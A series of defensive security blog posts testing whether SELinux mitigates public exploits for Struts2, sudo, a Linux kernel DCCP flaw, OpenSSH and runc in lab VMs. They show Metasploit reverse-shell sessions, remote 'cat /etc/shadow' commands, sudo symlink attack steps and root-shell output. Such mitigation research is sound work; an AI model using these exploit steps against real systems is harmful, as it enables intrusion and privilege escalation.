2017年9月11日月曜日

S2-052: CVE-2017-9805(Struts2) PoC with SELinux

We did recently "Important" Struts2 vulnerability(CVE-2017-9805) PoC to check how SELinux can mitigate that vulnerability.

(Written by Kazuki Omo:ka-omo@sios.com).

Prepare for PoC

Here is a description how to reproduce it. I used CentOS7 image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC. Also, I used selinux-policy-targeted-3.13.1-145.el7.noarch (See related post: http://www.secureoss.jp/post/omok-selinux-struts2-20170607/).

  1. Install tomcat and related packages for working Struts2.

  2. Download and install vulnerable version of Struts2. I used struts-2.5.11. Copy struts2-showcase.war and struts2-rest-showcase.war under /var/lib/tomcat/webapps

    root@centos7:~# ls /var/ls /var/lib/tomcat/webapps/*war
    /var/lib/tomcat/webapps/struts2-showcase.war
    /var/lib/tomcat/webapps/struts2-rest-showcase.war
    
  3. Prepare Metasploit for the PoC. You can easy to use "Kali Linux(https://www.kali.org/downloads/)" for running Metasploit Framework. Run "apt-get update ; apt-get upgrade" for updating Kali Linux completely, then follow the procedure for running CVE-2017-9805 PoC (Set up Metasploit Module for Apache Struts2 Rest : http://hackersgrid.com/2017/09/metasploit-module-for-apache-struts-2-rest-cve-2017-9805.html).

  4. To avoid normal Unix permission check for the PoC, I changed /etc/shadow permission to 755.

    root@centos7:~# ls -lZ /etc/shadow
    -rwxr-xr-x. root root system_u:object_r:shadow_t:s0        /etc/shadow
    

PoC with no SELinux(SELinux Permissive)

  1. Confirm SELinux is Permissive mode;

    root@centos7:~# getenforce
    Permissive
    
  2. Run PoC from msfconsole(Metasploit). AA.AA.AA.AA is Kali Linux IP, and XX.XX.X.XX is Struts2 PoC server;

     msf exploit(struts2_rest_xstream) > exploit
    
     [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
     [*] Accepted the first client connection...
     [*] Accepted the second client connection...
     [*] Command: echo DxP98C50UAVxX6jn;
     [*] Writing to socket A
     [*] Writing to socket B
     [*] Reading from sockets...
     [*] Reading from socket B
     [*] B: "DxP98C50UAVxX6jn\r\n"
     [*] Matching...
     [*] A is input...
     [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:42:12 +0900
    
     id
     uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
    
     root:XXXXXX.::0:99999:7:::
     bin:*:17110:0:99999:7:::
     daemon:*:17110:0:99999:7:::
     --snip--
     sshd:!!:17247::::::
     jssosug:XXXXXXXXXXXX::0:99999:7:::
    
     jsossug@vmhost:~$
    

PoC with SELinux Enabled(SELinux Enforcing)

  1. Reboot and set SELinux as Enforcing.

    root@centos7:~# getenforce
    Enforcing
    
  2. Run PoC from msfconsole(Metasploit). AA.AA.AA.AA is Kali Linux IP, and XX.XX.X.XX is Struts2 PoC server;

     msf exploit(struts2_rest_xstream) > exploit
    
     [*] Started reverse TCP double handler on AA.AA.AA.AA:4444 
     [*] Accepted the first client connection...
     [*] Accepted the second client connection...
     [*] Command: echo DxP98C50UAVxX6jn;
     [*] Writing to socket A
     [*] Writing to socket B
     [*] Reading from sockets...
     [*] Reading from socket B
     [*] B: "DxP98C50UAVxX6jn\r\n"
     [*] Matching...
     [*] A is input...
     [*] Command shell session 2 opened (AA.AA.AA.AA:4444 -> XX.XX.XX.XX:43584) at 2017-09-11 15:49:01 +0900
    
     id 
     uid=91(tomcat) gid=91(tomcat) groups=91(tomcat) context=system_u:system_r:tomcat_t:s0
    
     cat /etc/shadow
     cat: /etc/shadow: Permission denied
    
  3. Check AVC log on Struts PC;

    type=AVC msg=audit(1505112552.257:431): avc:  denied  { read } for  pid=4684 comm="cat" name="shadow" dev="dm-1" ino=34690693 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
    

Conclusion

From this PoC we can say

  1. Latest SELinux can mitigate Struts2 vulnerability "if Policy is updated".

2017年8月9日水曜日

S2-048: CVE-2017-9791(Struts2) PoC with SELinux

We did another "Famous" Struts2 vulnerability(CVE-2017-9791) PoC to check how SELinux can mitigate that vulnerability.

(Written by Kazuki Omo:ka-omo@sios.com).

Prepare for PoC

Here is a description how to reproduce it. I used Fedora25 image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC. Actually, this PoC environment is almost same as Previous vulnerability (CVE-2017-5638 which we did on June.). Also, I used selinux-policy-targeted-3.13.1-225.11.fc25.noarch because previous policy had un-confined tomcat_t policy(See http://www.secureoss.jp/post/omok-selinux-struts2-20170607/).

  1. Install tomcat and related packages for working Struts2.

  2. Download and install vulnerable version of Struts2. I used both of struts-2.5.10. Copy struts2-showcase.war under /var/lib/tomcat/webapps

    root@fedora25:~# ls /var/ls /var/lib/tomcat/webapps/*war
    /var/lib/tomcat/webapps/struts2-showcase.war
    
  3. Download and copy the PoC code on remote. There are many sample site for the PoC, then I'm not explaining it in here.

  4. To avoid normal Unix permission check for the PoC, I changed /etc/shadow permission to 755.

    root@fedora25:~# ls -lZ /etc/shadow
    -rw-r--r--. root root system_u:object_r:shadow_t:s0        /etc/shadow
    

PoC with no SELinux(SELinux Permissive)

  1. Confirm SELinux is Permissive mode;

    root@fedora25:~# getenforce
    Permissive
    
  2. Run PoC from remote host(jssosug@vmhost);

     jsossug@vmhost:~$ python Struts048.py http://172.16.148.147:8080/struts2-showcase/integration/saveGangster.action "cat /etc/shadow"
    
     root:XXXXXX.::0:99999:7:::
     bin:*:17110:0:99999:7:::
     daemon:*:17110:0:99999:7:::
     --snip--
     sshd:!!:17247::::::
     jssosug:XXXXXXXXXXXX::0:99999:7:::
    
     jsossug@vmhost:~$
    

PoC with SELinux Enabled(SELinux Enforcing)

  1. Reboot and set SELinux as Enforcing.

    root@fedora25:~# getenforce
    Permissive
    
  2. Run PoC from remote same as before;

    jsossug@vmhost:~$ python Struts048.py http://172.16.148.147:8080/struts2-showcase/integration/saveGangster.action "cat /etc/shadow"
    cmd: cat /etc/shadow
    
    cat: /etc/shadow: Permission denied
    
  3. Check AVC log on Struts PC;

    type=AVC msg=audit(1598882036.160:219): avc:  denied  { read } for  pid=4413 comm="cat" name="shadow" dev="dm-1" ino=34456196 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
    

Conclusion

From this PoC we can say

  1. SELinux can mitigate Struts2 vulnerability "if Policy is updated".;
  2. Last SELinux Policy is treating "tomcat_t" as "unconfined domain".
  3. Latest version of SELinux Policy will solve the problem.

2017年6月24日土曜日

sudo vulnerability detail with SELinux(CVE-2017-1000367/CVE-2017-1000368)

There's much misunderstanding about "sudo" vulnerability(CVE-2017-1000367/1000368) that "SELinux caused some vuulnerable". On this blog, we will describe details about tha vulnerability and why it is depending on SELinux.

(Written by Kazuki Omo:ka-omo@sios.com).

Vulnerability Details

You can easy to find the details of "what is the vulnerability" on Qualys Security Advisory(http://www.openwall.com/lists/oss-security/2017/05/30/16).

Actually, this vulnerability is completely comes from "sudo" source code.

As the description on above Qualys Security Advisory, main problem is "sudo behaivor when he get space-contained command".

When someone run sudo, sudo program will get user information(user_info: uid, cwd, etc.) by calling get_user_info(). And get_user_info() will call sudo_ttyname_dev()->sudo_ttyname_scan() for device "breadth-first scan". During the sudo_ttyname_scan(), it will obtain "tty number for that process running" by 7th field on "/proc/[pid]/stat".

ex. When you run mlayer on /dev/pts/0(tty) as pid=2778:

    jsossug@cent7enc:~$ cat /proc/2778/stat
    2778 (mplayer) S 2366 2778 2366 34816 2778 1077936128 10433 ....
  1. From above output, "34816" is the dev number.

  2. "34816"(Dec) -> "0000 0000 0000 0000 1000 1000 0000 0000"(BN). Maigor number is "31-20 bit + 7-0 bit". Minor number is "19-8" bit. Then Major number is "000010001000 = 136", and Minor number is "0000 0000 0000 0000 = 0". .

  3. For the confirmation, check "ls -l /dev/pts/0" output;

    jsossug@cent7enc:~$ ls -l /dev/pts/0
    crw--w---- 1 jsossug tty 136, 0 Jun 22 12:49 /dev/pts/0
    
  4. From above output, you can see "136,0" which is "Major, Minor" number.

The problem is /proc/[pid]/stat file is "space-separated" output. So, if someone run "cmd" which contain space, sudo_ttyname_scan() will treat other field as tty name(this is mainly bug).

When Malicious attacker will run cmd with 6-spaces, he can easy to change tty number to any number. And if he can change that tty's symbolic link to file, and treat that file as stdout, he can overwrite that file whatever he wants. For this sequence, attacker can use sudo's SELinux implementation.

How to attack

Here is the steps for attacking;

  1. Create /dev/shm/_tmp which is world-writable directory.

    jsossug@cent7enc:/dev/shm$ mkdir _tmp
    
  2. Create symbolic link "/dev/shm/_tmp/tty" as non-existent pts "/dev/pts/57".

    jsossug@cent7enc:/dev/shm$ ln -s /dev/pts/57 /dev/shm/_tmp/tty
    jsossug@cent7enc:/dev/shm$ ls -l /dev/shm/_tmp
    lrwxrwxrwx. 1 jsossug jsossug 11  Jun 22 09:02 tty -> /dev/pts/57
    
  3. "/dev/pts/57" device number will be "34873" as above explanation. So, create symbolic link "/dev/shm/_tmp/ 34873" for "/usr/bin/sudo".

    [jsossug@cent7enc _tmp]$ ln -s /usr/bin/sudo "/dev/shm/_tmp/     34873 "
    [jsossug@cent7enc _tmp]$ ls -l
    lrwxrwxrwx. 1 jsossug jsossug 13  Jun 22 09:07      34873  -> /usr/bin/sudo
    
  4. Use inotify for monitoring IN_OPEN on /dev/shm/_tmp directory. When /dev/shm/_tmp directory is accessed, change /dev/shm/_tmp/_tty to file which you want to overwrite(/etc/passwd, for example).


So, how SELinux is involved on this vulnerability?

On above step 4, sudo program will think his tty is "/dev/shm/_tmp" which is linked to "/etc/passwd".

  1. If SELinux is enabled on the system(doesn't matter Enforcing or Permissive), and "-r Role" option is specified , exec_setup() in sudo will call selinux_setup();

    bool
    exec_setup(struct command_details *details, const char *ptyname, int ptyfd)
    {
    --snip-- 
    #ifdef HAVE_SELINUX
        if (ISSET(details->flags, CD_RBAC_ENABLED)) {
            if (selinux_setup(details->selinux_role, details->selinux_type,
                ptyname ? ptyname : user_details.tty, ptyfd) == -1)
                goto done;
        }
    #endif
    
  2. selinux_setup() will call relabel_tty() for relabeling the tty;

    int
    selinux_setup(const char *role, const char *type, const char *ttyn,
        int ptyfd)
    {
    --snip--
        if (relabel_tty(ttyn, ptyfd) < 0) {
            warning(_("unable to setup tty context for %s"), se_state.new_context);
            goto done;
        }
    
  3. During the relabel_tty(), program will re-open ttyn which is now "/etc/passwd".

    --snip--
            /* Re-open tty to get new label and reset std{in,out,err} */
            close(se_state.ttyfd);
            se_state.ttyfd = open(ttyn, O_RDWR|O_NONBLOCK);
    --snip--
    

    And call dup2(se_state.ttyfd, ptyfd) for duplicating fd.

    --snip--
                    for (fd = STDIN_FILENO; fd <= STDERR_FILENO; fd++) {
                        if (isatty(fd) && dup2(se_state.ttyfd, fd) == -1) {
    --snip--
    

    Then stdin/stdout/stderr will be set as /etc/passwd. So now the "cmd" stdout/stderr will be /etc/passwd, then you can overwrite /etc/passwd if you control the cmd output!!


PoC with SELinux enabled.

PoC is available on the Internet. In here, we use /etc/motd(only root can write) for attack file. And use "/usr/bin/sum" for the command, then add /usr/bin/sum as permitted command for "sudovul(test user)".

    sudovul ALL=(ALL)NOPASSWD:/usr/bin/sum
  1. Confirm SELinux is Permissive mode;

    sudovul@cent7enc:~# getenforce
    Permissive
    
  2. Run PoC on localhost as sudovul;

     [sudovul@cent7enc sudo-CVE-2017-1000367]$ ./sudopwn
     [sudovul@cent7enc sudo-CVE-2017-1000367]$ cat /etc/motd
     /usr/bin/sum: unrecognized option '--
     HELLO
     WORLD
     '
     Try '/usr/bin/sum --help' for more information.
    
  3. Change SELinux to Enforcing mode;

    sudovul@cent7enc:~# getenforce
    Enforcing
    
  4. Clear /etc/motd and run PoC on localhost as sudovul;

     [sudovul@cent7enc sudo-CVE-2017-1000367]$ ./sudopwn
     [sudovul@cent7enc sudo-CVE-2017-1000367]$ cat /etc/motd
     /usr/bin/sum: unrecognized option '--
     HELLO
     WORLD
     '
     Try '/usr/bin/sum --help' for more information.
    

So, we can overwrite /etc/motd in SELinux Permissive/Enforcing Mode.


PoC with SELinux Disabled

  1. set SELinux as Disabled in /etc/selinux/config, and reboot.

    root@cent7enc:~# getenforce
    Disabled
    
  2. Clear /etc/motd, and run PoC code again.

    [sudovul@cent7enc sudo-CVE-2017-1000367]$ ./sudopwn
    /usr/bin/sum: unrecognized option '--
    HELLO
    WORLD
    '
    Try '/usr/bin/sum --help' for more information.
    
  3. Check /etc/motd is not modified.

    [sudovul@cent7enc sudo-CVE-2017-1000367]$ cat /etc/motd
    [sudovul@cent7enc sudo-CVE-2017-1000367]$
    

Conclusion

From above Vulnerability details and PoC, we can say;

  1. The main vulnerability is coming from sudo.
  2. SELinux is not exactlly used for the attack. Sudo will open tty and dup the fd for relabeling tty(malicious user can use it for attack).
  3. This Vulnerablity condition is SELinux Enabled(not only Enforcing, but also Permissive.). For fixing the problem, update sudo package.

2017年6月8日木曜日

CVE-2017-5638(Struts2) PoC with SELinux

We did "Famous" Struts2 vulnerability(CVE-2017-5638) PoC to check how SELinux can mitigate that vulnerability. During the PoC, we found current policy problem, then reported it on bugzilla. So, I would write the information for that PoC and SELinux policy problem.
(Written by Kazuki Omo:ka-omo@sios.com).

Prepare for PoC

Here is a description how to reproduce it. I used CentOS 7.3(CentOS-7-x86_64-DVD-1611.iso)image for the PoC. I used VMWare Guest(CPU: 1, Memory: 2GB) for the PoC.
  1. Install tomcat and related packages for working Struts2.
  2. Download and install vulnerable version of Struts2. I used both of struts-2.5.10. Copy struts2-showcase.war under /var/lib/tomcat/webapps
    root@cent7enc:~# ls /var/ls /var/lib/tomcat/webapps/*war
    /var/lib/tomcat/webapps/struts2-showcase.war
    
  3. Download and copy the PoC code on remote. There are many sample site for the PoC, then I'm not explaining it in here.
  4. To avoid normal Unix permission check, I changed /etc/shadow permission to 755.
    root@cent7enc:~# ls -lZ /etc/shadow
    -rw-r--r--. root root system_u:object_r:shadow_t:s0        /etc/shadow
    

PoC with no SELinux(SELinux Permissive)

  1. Confirm SELinux is Permissive mode;
    root@cent7enc:~# getenforce
    Permissive
    
  2. Run PoC from remote host(jssosug@vmhost);
     jsossug@vmhost:~$ python attack.py http://172.16.148.130:8080/struts2-showcase/showcase.action "cat /etc/shadow"
     CVE: 2017-5638 - Apache Struts2 S2-045
     cmd: cat /etc/shadow
     root:XXXXXX.::0:99999:7:::
     bin:*:17110:0:99999:7:::
     daemon:*:17110:0:99999:7:::
     --snip--
     sshd:!!:17247::::::
     jssosug:XXXXXXXXXXXX::0:99999:7:::
    
     jsossug@vmhost:~$
    

PoC with SELinux Enabled(SELinux Enforcing)

  1. Reboot and set SELinux as Enforcing.
    root@cent7enc:~# getenforce
    Permissive
    
  2. Run PoC code again. Even if SELinux is Enforcing, still you can see /etc/shadow(so bad...);
    jsossug@vmhost:~$ python attack.py http://172.16.148.130:8080/struts2-showcase/showcase.action "cat /etc/shadow"
    CVE: 2017-5638 - Apache Struts2 S2-045
    cmd: cat /etc/shadow
    
    root:XXXXXX.::0:99999:7:::
    bin:*:17110:0:99999:7:::
    daemon:*:17110:0:99999:7:::
    --snip--
    sshd:!!:17247::::::
    jssosug:XXXXXXXXXXXX::0:99999:7:::
    
    jsossug@vmhost:~$
    

Check SELinux Policy

Now we understand that SELinux can't mitigate CVE-2017-6074. Why it is happened?
  1. For understanding it, attack from remote(vmhost) by using below command;
    jsossug@vmhost:~$ python attack.py http://172.16.148.130:8080/struts2-showcase/showcase.action "vi /tmp/abcd" 
    CVE: 2017-5638 - Apache Struts2 S2-045
    cmd: vi /tmp/abcd
    
  2. On Struts PC, check domain who is running "vi /tmp/abcd";
    root@cent7enc:~# ps axZ|grep abcd
    system_u:system_r:tomcat_t:s0         3251 ?                S          0:00 vi /tmp/abcd
    
  3. Check "tomcat_t" inheriented domain with seinfo;
    root@cent7enc:~# seinfo -ttomcat_t -x
    tomcat_t
      can_change_object_identity
      can_load_kernmodule
      can_setbool
      can_setenforce
      corenet_unconfined_type
      corenet_unlabeled_type
      devices_unconfined_type
      domain
      files_unconfined_type
      filesystem_unconfined_type
      kern_unconfined
      kernel_system_state_reader
      process_uncond_exempt
      selinux_unconfined_type
      storage_unconfined_type
      unconfined_domain_type
      dbusd_unconfined
      daemon
      syslog_client_type
      sepgsql_unconfined_type
      tomcat_domain
      userdom_filetrans_type
      x_domain
      xserver_unconfined_type
    
So we found tomcat_t is in several "unconfined" domain. I reported it on bugzilla(https://bugzilla.redhat.com/show_bug.cgi?id=1432083), then fixed version of policy(selinux-policy-3.13.1-145.el7.noarch.rpm)

Check SELinux Updated Policy

  1. Fixed version of policy is in RHEL-7.4Beta image. Just for confirmation, I installed those policy on CentOS7(PoC).
    root@cent7enc:~# rpm -Fvh selinux-policy-3.13.1-145.el7.noarch.rpm selinux-policy-targeted-3.13.1-145.el7.noarch.rpm
    
    root@cent7enc:~# getenforce
    Enforcing
    
  2. Run PoC from remote same as before;
    jsossug@vmhost:~$ python attack.py http://172.16.148.130:8080/struts2-showcase/showcase.action "cat /etc/shadow" 
    CVE: 2017-5638 - Apache Struts2 S2-045
    cmd: cat /etc/shadow
    
    cat: /etc/shadow: Permission denied
    
  3. Check AVC log on Struts PC;
    type=AVC msg=audit(1496882036.860:219): avc:  denied  { read } for  pid=4413 comm="cat" name="shadow" dev="dm-1" ino=34456196 scontext=system_u:system_r:tomcat_t:s0 tcontext=system_u:object_r:shadow_t:s0 tclass=file
    
  4. Check "tomcat_t" inheriented domain with seinfo;
    root@cent7enc:~# seinfo -ttomcat_t -x
    tomcat_t
      nsswitch_domain
      corenet_unlabeled_type
      domain
      kernel_system_state_reader
      netlabel_peer_type
      daemon
      syslog_client_type
      pcmcia_typeattr_7
      pcmcia_typeattr_6
      pcmcia_typeattr_5
      pcmcia_typeattr_4
      pcmcia_typeattr_3
      pcmcia_typeattr_2
      pcmcia_typeattr_1
      tomcat_domain
    
    So now we can see no "Unconfined" domain in there.

Conclusion

From this PoC we can say
  1. SELinux can mitigate Struts2 vulnerability if "Policy is good.";
  2. Last SELinux Policy is treating "tomcat_t" as "unconfined domain".
  3. Latest version of SELinux Policy will solve the problem.

2017年3月5日日曜日

CVE-2017-6074 PoC with SELinux(on Ubuntu)

We found that PoC code for CVE-2017-6074 was published since 2017/02/28. Then we did PoC with SELinux Enabled, and figure out SELinux could mitigate it or not.
(Written by Kazuki Omo:ka-omo@sios.com).

Prepare for PoC

Here is a description how to reproduce it. I used Ubuntu 16.04.1 LTS with 4.4.0-62-generic x86_64 kernel on VMWare Guest, because this PoC code is only for that distro/version. Also I assigned only 1 CPU to that guest.
  1. Install 4.4.0-62-generic kernel on Ubuntu. You can find it on any mirror site.
  2. Prepare SELinux on Ubuntu. I prefer to use "aptitude" instead of "apt".
    root@ubuntu:~# aptitude -y install selinux
    The following NEW packages will be installed:
      checkpolicy{a} libapol4{a} libauparse0{a} libpython-stdlib{a} 
      libpython2.7-minimal{a} libpython2.7-stdlib{a} libqpol1{a} m4{a} make{a} 
      policycoreutils{a} python{a} python-audit{a} python-ipy{a} 
      python-minimal{a} python-selinux{a} python-semanage{a} python-sepolgen{a} 
      python-sepolicy{a} python-setools{a} python2.7{a} python2.7-minimal{a} 
      selinux{b} selinux-policy-default{a} selinux-policy-dev{a} 
      selinux-policy-ubuntu{ab} selinux-utils{a} setools{a} 
    0 packages upgraded, 27 newly installed, 0 to remove and 131 not upgraded.
    --snip--
    Processing triggers for initramfs-tools (0.122ubuntu8.1) ...
    update-initramfs: Generating /boot/initrd.img-4.4.0-62-generic
    W: mdadm: /etc/mdadm/mdadm.conf defines no arrays.
    
    Current status: 125 (-6) upgradable.
    root@ubuntu:~# reboot
    
  3. Download and copy the PoC code.
    jsossug@ubuntu:~/CVE-2017-6074$ ls
    poc.c  README.md  trigger.c
    jsossug@ubuntu:~/CVE-2017-6074$
    
  4. Compile that code on PoC Ubuntu 16.04.1 LTS;
    jsossug@ubuntu:~/CVE-2017-6074$ gcc -o pwn poc.c 
    jsossug@ubuntu:~/CVE-2017-6074$ ls
    poc.c  pwn  README.md  trigger.c
    jsossug@ubuntu:~/CVE-2017-6074$
    

PoC with no SELinux(SELinux Permissive)

  1. Confirm SELinux is Permissive mode;
    jsossug@ubuntu:~/CVE-2017-6074$ getenforce
    Permissive
    
  2. Run PoC bindary;
    jsossug@ubuntu:~/CVE-2017-6074$ ./pwn
    [.] namespace sandbox setup successfully
    [.] disabling SMEP & SMAP
    [.] scheduling 0xffffffff81064550(0x406e0)
    [.] waiting for the timer to execute
    [.] done
    [.] SMEP & SMAP should be off now
    [.] getting root
    [.] executing 0x402043
    [.] done
    [.] should be root now
    [.] checking if we got root
    [+] got r00t ^_^
    [!] don't kill the exploit binary, the kernel will crash
    root@ubuntu:/home/jsossug/CVE-2017-6074# ls /root/.bashrc
    /root/.bashrc
    root@ubuntu:/home/jsossug/CVE-2017-6074# id
    uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
    root@ubuntu:/home/jsossug/CVE-2017-6074# cat /etc/shadow
    root:XXXXXXXXXXXX:13219:0:99999:7:::
    daemon:*:12041:0:99999:7:::
    bin:*:12041:0:99999:7:::
    --snip--
    

PoC with SELinux Enabled(SELinux Enforcing)

  1. Reboot and set SELinux as Enforcing.
    jsossug@ubuntu:~/CVE-2017-6074$ getenforce Enforcing
  2. Run PoC code again;
    jsossug@ubuntu:~/CVE-2017-6074$ ./pwn [.] namespace sandbox setup successfully [.] disabling SMEP & SMAP [.] scheduling 0xffffffff81064550(0x406e0) socket(SOCK_DCCP): Permission denied
  3. Check AV log. We can find kernel_t(pwn command domain) couldn't create dccp_secket Object Class.;
    Mar 5 19:39:54 ubuntu kernel: [ 67.029899] audit: type=1400 audit(1488710394.317:38): avc: denied { create } for pid=4372 comm="pwn" scontext=system_u:system_r:kernel_t:s0 tcontext=system_u:system_r:kernel_t:s0 tclass=dccp_socket permissive=0

Conclusion

Now we understand that SELinux can mitigate CVE-2017-6074 through PoC.
So we can say it's better to enable SELinux for keeping your system secure.

2017年2月2日木曜日

OpenSSH vulnerability (CVE-2015-6565) PoC with SELinux

We found there was information about PoC to get local priveledge with CVE-2015-6565(vulnerability for OpenSSH), then we want to make sure can we protect it by using SELinux or not.
(Written by Kazuki Omo:ka-omo@sios.com).

Reference

http://www.openwall.com/lists/oss-security/2017/01/26/2

Prepare for PoC

Here is a description how to reproduce it. I used Fedora22-VMWare Guest because this vulnerability is for OpenSSH 6.8-6.9. Also I assigned only 1 CPU to that guest.
  1. Install Fedora22 with OpenSSH-enabled / enabled gcc and those dev tool. Because this is for PoC I didn't update Fedora22(everything package versions are same as DVD).
The openssh version is 6.8p1-5 ;
    [root@localhost ~]# rpm -qa|grep -i openssh
    openssh-6.8p1-5.fc22.x86_64
    openssh-server-6.8p1-5.fc22.x86_64
    openssh-clients-6.8p1-5.fc22.x86_64
  1. Put PoC code which you can see on the referenced page.
  2. Compile that code on PoC Fedora22;
    [jsossug@localhost ~]$  gcc not_an_sshnuke.c -o not_an_sshnuke
    

PoC

Now it's ready for PoC.
  1. Run the code with normal user account;
    [jsossug@localhost ~]$ ./not_an_sshnuke /dev/pts/3
    
  2. Run the code with normal user account;
    [jsossug@localhost ~]$ ./not_an_sshnuke /dev/pts/3
    [*] Waiting for slave device /dev/pts/3
    
  3. Open 2 terminals and ssh to the PoC machine in each terminal with normal user account;
    [jsossug@extest ~]$ ssh -l jsossug 172.16.148.139
    jsossug@172.16.148.139's password: 
    Last login: Sun Jan 29 14:06:21 2017 from 172.16.148.1
    [jsossug@localhost ~]$
    
    [jsossug@extest ~]$ ssh -l jsossug 172.16.148.139
    jsossug@172.16.148.139's password: 
    Last login: Sun Jan 29 14:06:21 2017 from 172.16.148.1
    [jsossug@localhost ~]$
    
  4. Open another terminal and ssh to the PoC machine with root account. If ;
    [jsossug@extest ~]$ ssh -l root 172.16.148.139
    root@172.16.148.139's password: 
    Last login: Sun Jan 29 14:06:37 2017 from 172.16.148.1
    [root@localhost ~]#
    
  5. On the first terminal, you can see following results;
    [jsossug@localhost src]$ ./not_an_sshnuke /dev/pts/3
    [*] Waiting for slave device /dev/pts/3
    [+] Got PTY slave /dev/pts/3
    [+] Making PTY slave the controlling terminal
    [+] SUID shell at /tmp/sh
    
  6. Just want to make sure /tmp/sh attribute;
    [root@localhost ~]# ls -lZ /tmp/sh
    -rwsr-xr-x. 1 root root unconfined_u:object_r:user_tmp_t:s0 1084536 Feb  2 01:31 /tmp/sh
    
  7. Then run /tmp/sh on first terminal with following option;
    [jsossug@localhost src]$ /tmp/sh --norc --noprofile -p
    
  8. Now we got "euid=0";
    sh-4.3# id
    uid=1000(jsossug) gid=1000(jsossug) euid=0(root) groups=1000(jsossug),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    sh-4.3# cat /etc/shadow
    bin:*:16489:0:99999:7:::
    daemon:*:16489:0:99999:7:::
    adm:*:16489:0:99999:7:::
    lp:*:16489:0:99999:7:::
    
  9. SELinux is "Enabled";
    sh-4.3# getenforce
    Enforcing
    

PoC with "updated SELinux"

So, we found normal(non-upgraded) SELinux Policy on Fedora22 can't protect tihs vulnerability.
Then now we wonder how about "updated SELinux Policy".
  1. Update SELinux Policy;
    [root@localhost ~]# dnf -y update selinux-policy-targeted
    Fedora 22 - x86_64 - Updates                    2.2 MB/s |  23 MB     00:10    
    Last metadata expiration check performed 0:00:13 ago on Wed Feb  1 04:46:43 2017.
    Dependencies resolved.
    ================================================================================
     Package                    Arch      Version                  Repository  Size
    ================================================================================
    Upgrading:
     selinux-policy             noarch    3.13.1-128.28.fc22       updates    428 k
     selinux-policy-targeted    noarch    3.13.1-128.28.fc22       updates    4.1 M
    
    Transaction Summary
    ================================================================================
    Upgrade  2 Packages
    
    Total download size: 4.5 M
    Downloading Packages:
      (1/2): selinux-policy-3.13.1-128.28.fc22.noarch 1.6 MB/s | 428 kB     00:00    
      (2/2): selinux-policy-targeted-3.13.1-128.28.fc 998 kB/s | 4.1 MB     00:04    
    --------------------------------------------------------------------------------
    Total                                           825 kB/s | 4.5 MB     00:05     
    Running transaction check
    Transaction check succeeded.
    Running transaction test
    Transaction test succeeded.
    Running transaction
      Upgrading   : selinux-policy-3.13.1-128.28.fc22.noarch                    1/4 
      Upgrading   : selinux-policy-targeted-3.13.1-128.28.fc22.noarch           2/4 
      Cleanup     : selinux-policy-targeted-3.13.1-122.fc22.noarch              3/4 
      Cleanup     : selinux-policy-3.13.1-122.fc22.noarch                       4/4 
      Verifying   : selinux-policy-targeted-3.13.1-128.28.fc22.noarch           1/4 
      Verifying   : selinux-policy-3.13.1-128.28.fc22.noarch                    2/4 
      Verifying   : selinux-policy-3.13.1-122.fc22.noarch                       3/4 
      Verifying   : selinux-policy-targeted-3.13.1-122.fc22.noarch              4/4
    
    Upgraded:
      selinux-policy.noarch 3.13.1-128.28.fc22                                      
      selinux-policy-targeted.noarch 3.13.1-128.28.fc22
    
    Complete!
    [root@localhost ~]# getenforce
    Enforcing
    
  2. We continue to that PoC with updated SELinux Policy again;
    [jsossug@localhost src]$ ./not_an_sshnuke /dev/pts/3
    [*] Waiting for slave device /dev/pts/3
    [+] Got PTY slave /dev/pts/3
    [+] Making PTY slave the controlling terminal
    [+] SUID shell at /tmp/sh
    
  3. Just want to make sure /tmp/sh attribute;
    [root@localhost ~]# ls -lZ /tmp/sh
    -rwsr-xr-x. 1 root root unconfined_u:object_r:user_tmp_t:s0 1084536 Feb  2 01:47 /tmp/sh
    
  4. Run /tmp/sh with updated SELinux Policy;
    [jsossug@localhost src]$ /tmp/sh --norc --noprofile -p
    sh-4.3# id
    uid=1000(jsossug) gid=1000(jsossug) euid=0(root) groups=1000(jsossug),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
    sh-4.3# cat /etc/shadow
    bin:*:16489:0:99999:7:::
    daemon:*:16489:0:99999:7:::
    adm:*:16489:0:99999:7:::
    lp:*:16489:0:99999:7:::
    sh-4.3# exit
    exit
    [jsossug@localhost src]$ getenforce
    Enforcing
    
  5. Just we want to make sure SELinux Policy is updated;
    [jsossug@localhost src]$ rpm -qa|grep -i selinux-policy
    selinux-policy-3.13.1-128.28.fc22.noarch
    selinux-policy-targeted-3.13.1-128.28.fc22.noarch
    
It seems that even if we update SELinux Policy, we can't mitigate this vulnerability(CVE-2015-6565).

Conclusion

Now we could see that CVE-2015-6565 PoC is successfull even if SELinux is enforcing. The main reason is because that vulnerability is using TIOCSTI + ioctl.
This seems to be close to CVE-2016-7545(can escape SELinux sandboxing). In that vulnerability, we could fix it by updating policycoreutils.
Probably we can modify SELinux policy and could be mitigate this vulnerability. We will continue to check it.
Also we couldn't reproduce it on Fedora25+openssh6.8p1.

2017年1月23日月曜日

Docker vulnerability (CVE-2016-9962) PoC with SELinux (Again)

This blog is for following up to reproduce CVE-2016-9962(vulnerability for Docker) and how can we mitigate it by using SELinux.
(Written by Kazuki Omo:ka-omo@sios.com).

Reference

Docker vulnerability (CVE-2016-9962) PoC with SELinux

https://bugzilla.redhat.com/show_bug.cgi?id=1409531

https://bugzilla.suse.com/show_bug.cgi?id=1012568#c2

Mistake in Previous PoC

I sent previous PoC result to SELinux , I got result I did mistake in Previous PoC. Actually, I didn't use SELinux Access Control in Previous PoC
In Previous PoC, "[PoC] run container(sh) in shell1;"
[root@localhost ~]# runc run ctr

/ #
But Finally I found the "runc" program is working in "unconfined_t" domain. From another terminal, I checked runc domain;
[root@fedora25 ~]# ps axZ|grep runc
unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 1578 pts/0 Sl+
0:00 runc run ctr
